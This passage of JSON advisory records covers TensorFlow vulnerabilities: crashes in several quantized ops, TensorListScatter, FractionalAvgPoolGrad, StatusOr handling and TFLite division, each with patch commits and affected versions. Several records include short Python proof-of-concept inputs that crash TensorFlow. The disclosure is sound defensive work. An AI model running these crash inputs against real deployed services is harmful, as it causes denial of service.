[73ad1815ebcfeb7c051f9c2f7ab5024380ca8613](https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:23:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vgvh-2pf4-jr2x","https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35974","https://github.com/advisories/GHSA-vgvh-2pf4-jr2x"],"source_kind":"github","identifiers":["GHSA-vgvh-2pf4-jr2x","CVE-2022-35974"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.948Z","updated_at":"2023-01-28T05:03:03.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS02ODljLXI3aDItZnY5ds4AAu2x","url":"https://github.com/advisories/GHSA-689c-r7h2-fv9v","title":"TensorFlow vulnerable to segfault in `QuantizedMatMul`","description":"### Impact\nIf `QuantizedMatMul` is given nonscalar input for:\n - `min_a`\n - `max_a`\n - `min_b`\n - `max_b`\nIt gives a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nToutput = tf.qint32\ntranspose_a = False\ntranspose_b = False\nTactivation = tf.quint8\na = tf.constant(7, shape=[3,4], dtype=tf.quint8)\nb = tf.constant(1, shape=[2,3], dtype=tf.quint8)\nmin_a = tf.constant([], shape=[0], dtype=tf.float32)\nmax_a = tf.constant(0, shape=[1], dtype=tf.float32)\nmin_b = tf.constant(0, shape=[1], dtype=tf.float32)\nmax_b = tf.constant(0, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:22:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-689c-r7h2-fv9v","https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35973","https://github.com/advisories/GHSA-689c-r7h2-fv9v"],"source_kind":"github","identifiers":["GHSA-689c-r7h2-fv9v","CVE-2022-35973"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.957Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS1nMzVyLTM2OXctM2ZxcM4AAu2u","url":"https://github.com/advisories/GHSA-g35r-369w-3fqp","title":"TensorFlow vulnerable to segfault in `QuantizedInstanceNorm`","description":"### Impact\nIf `QuantizedInstanceNorm` is given `x_min` or `x_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\noutput_range_given = False\ngiven_y_min = 0\ngiven_y_max = 0\nvariance_epsilon = 1e-05\nmin_separation = 0.001\nx = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8)\nx_min = tf.constant([], shape=[0], dtype=tf.float32)\nx_max = tf.constant(0, shape=[], dtype=tf.float32)\ntf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:17:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g35r-369w-3fqp","https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35970","https://github.com/advisories/GHSA-g35r-369w-3fqp"],"source_kind":"github","identifiers":["GHSA-g35r-369w-3fqp","CVE-2022-35970"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.984Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS1wcXJ2LThyMmYtNzI3OM0orw","url":"https://github.com/advisories/GHSA-pqrv-8r2f-7278","title":"Crash due to erroneous `StatusOr` in TensorFlow","description":"### Impact\nA `GraphDef` from a TensorFlow `SavedModel` can be maliciously altered to cause a TensorFlow process to crash due to encountering [a `StatusOr` value that is an error and forcibly extracting the value from it](https://github.com/tensorflow/tensorflow/blob/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/graph/graph.cc#L560-L567):\n\n```cc\n  if (op_reg_data-\u003etype_ctor != nullptr) {\n    VLOG(3) \u003c\u003c \"AddNode: found type constructor for \" \u003c\u003c node_def.name();\n    const auto ctor_type =\n        full_type::SpecializeType(AttrSlice(node_def), op_reg_data-\u003eop_def);\n    const FullTypeDef ctor_typedef = ctor_type.ValueOrDie();\n    if (ctor_typedef.type_id() != TFT_UNSET) {\n      *(node_def.mutable_experimental_type()) = ctor_typedef;\n    }\n  }\n```   \n      \nIf `ctor_type` is an error status, `ValueOrDie` results in a crash.\n        \n### Patches\nWe have patched the issue in GitHub commit [955059813cc325dc1db5e2daa6221271406d4439](https://github.com/tensorflow/tensorflow/commit/955059813cc325dc1db5e2daa6221271406d4439).\n  \nWe have patched the issue in multiple GitHub commits and these will be included in TensorFlow 2.8.0 and TensorFlow 2.7.1, as both are affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-09T23:29:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pqrv-8r2f-7278","https://github.com/tensorflow/tensorflow/commit/955059813cc325dc1db5e2daa6221271406d4439","https://github.com/tensorflow/tensorflow/blob/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/graph/graph.cc#L560-L567","https://nvd.nist.gov/vuln/detail/CVE-2022-23590","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-99.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-154.yaml","https://github.com/advisories/GHSA-pqrv-8r2f-7278"],"source_kind":"github","identifiers":["GHSA-pqrv-8r2f-7278","CVE-2022-23590"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"\u003c 2.7.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"\u003c 2.7.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"\u003c 2.7.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:22.255Z","updated_at":"2023-02-03T05:05:38.000Z","epss_percentage":0.00239,"epss_percentile":0.46959},{"uuid":"GSA_kwCzR0hTQS12NmgzLTM0OGctNmg1eM4AAu2r","url":"https://github.com/advisories/GHSA-v6h3-348g-6h5x","title":"TensorFlow vulnerable to segfault in `QuantizedAdd`","description":"### Impact\nIf `QuantizedAdd` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nToutput = tf.qint32\nx = tf.constant(140, shape=[1], dtype=tf.quint8)\ny = tf.constant(26, shape=[10], dtype=tf.quint8)\nmin_x = tf.constant([], shape=[0], dtype=tf.float32)\nmax_x = tf.constant(0, shape=[], dtype=tf.float32)\nmin_y = tf.constant(0, shape=[], dtype=tf.float32)\nmax_y = tf.constant(0, shape=[], dtype=tf.float32)\ntf.raw_ops.QuantizedAdd(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y, Toutput=Toutput)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:16:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-v6h3-348g-6h5x","https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35967","https://github.com/advisories/GHSA-v6h3-348g-6h5x"],"source_kind":"github","identifiers":["GHSA-v6h3-348g-6h5x","CVE-2022-35967"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.016Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS00dzY4LTR4ODUtbWpqOc4AAu2q","url":"https://github.com/advisories/GHSA-4w68-4x85-mjj9","title":"TensorFlow vulnerable to segfault in `QuantizedAvgPool`","description":"### Impact\nIf `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nksize = [1, 2, 2, 1]\nstrides = [1, 2, 2, 1]\npadding = \"SAME\"\ninput = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)\nmin_input = tf.constant([], shape=[0], dtype=tf.float32)\nmax_input = tf.constant(0, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:15:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4w68-4x85-mjj9","https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35966","https://github.com/advisories/GHSA-4w68-4x85-mjj9"],"source_kind":"github","identifiers":["GHSA-4w68-4x85-mjj9","CVE-2022-35966"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.032Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS12bTd4LTRxaGotcnJjcc4AAu2o","url":"https://github.com/advisories/GHSA-vm7x-4qhj-rrcq","title":"TensorFlow vulnerable to `CHECK` fail in `TensorListScatter` and `TensorListScatterV2`","description":"### Impact\nWhen `TensorListScatter` and `TensorListScatterV2` receive an `element_shape` of a rank greater than one, they give a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None)\narg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)\narg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)\narg_3=''\ntf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, \nelement_shape=arg_2, name=arg_3)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [bb03fdf4aae944ab2e4b35c7daa051068a8b7f61](https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:15:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vm7x-4qhj-rrcq","https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35991","https://github.com/advisories/GHSA-vm7x-4qhj-rrcq"],"source_kind":"github","identifiers":["GHSA-vm7x-4qhj-rrcq","CVE-2022-35991"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.051Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00214,"epss_percentile":0.44047},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJocnEtNjRtcS1oZjlo","url":"https://github.com/advisories/GHSA-rhrq-64mq-hf9h","title":"FPE in TFLite division operations","description":"### Impact\nThe implementation of division in TFLite is [vulnerable to a division by 0 error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc)\n\nThere is no check that the divisor tensor does not contain zero elements.\n\n### Patches\nWe have patched the issue in GitHub commit [1e206baedf8bef0334cca3eb92bab134ef525a28](https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:40:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rhrq-64mq-hf9h","https://nvd.nist.gov/vuln/detail/CVE-2021-37683","https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28","https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-596.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-794.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-305.yaml","https://github.com/advisories/GHSA-rhrq-64mq-hf9h"],"source_kind":"github","identifiers":["GHSA-rhrq-64mq-hf9h","CVE-2021-37683"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.195Z","updated_at":"2024-11-13T21:16:42.000Z","epss_percentage":0.00012,"epss_percentile":0.01077},{"uuid":"GSA_kwCzR0hTQS04NGptLTRjZjMtOWpmbc4AAu2j","url":"https://github.com/advisories/GHSA-84jm-4cf3-9jfm","title":"TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad`","description":"### Impact\nThe implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\noverlapping = True\norig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)\nout_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)\nrow_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)\ncol_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)\ntf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:13:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-84jm-4cf3-9jfm","https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35963","https://github.com/advisories/GHSA-84jm-4cf3-9jfm"],"source_kind":"github","identifiers":["GHSA-84jm-4cf3-9jfm","CVE-2022-35963"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 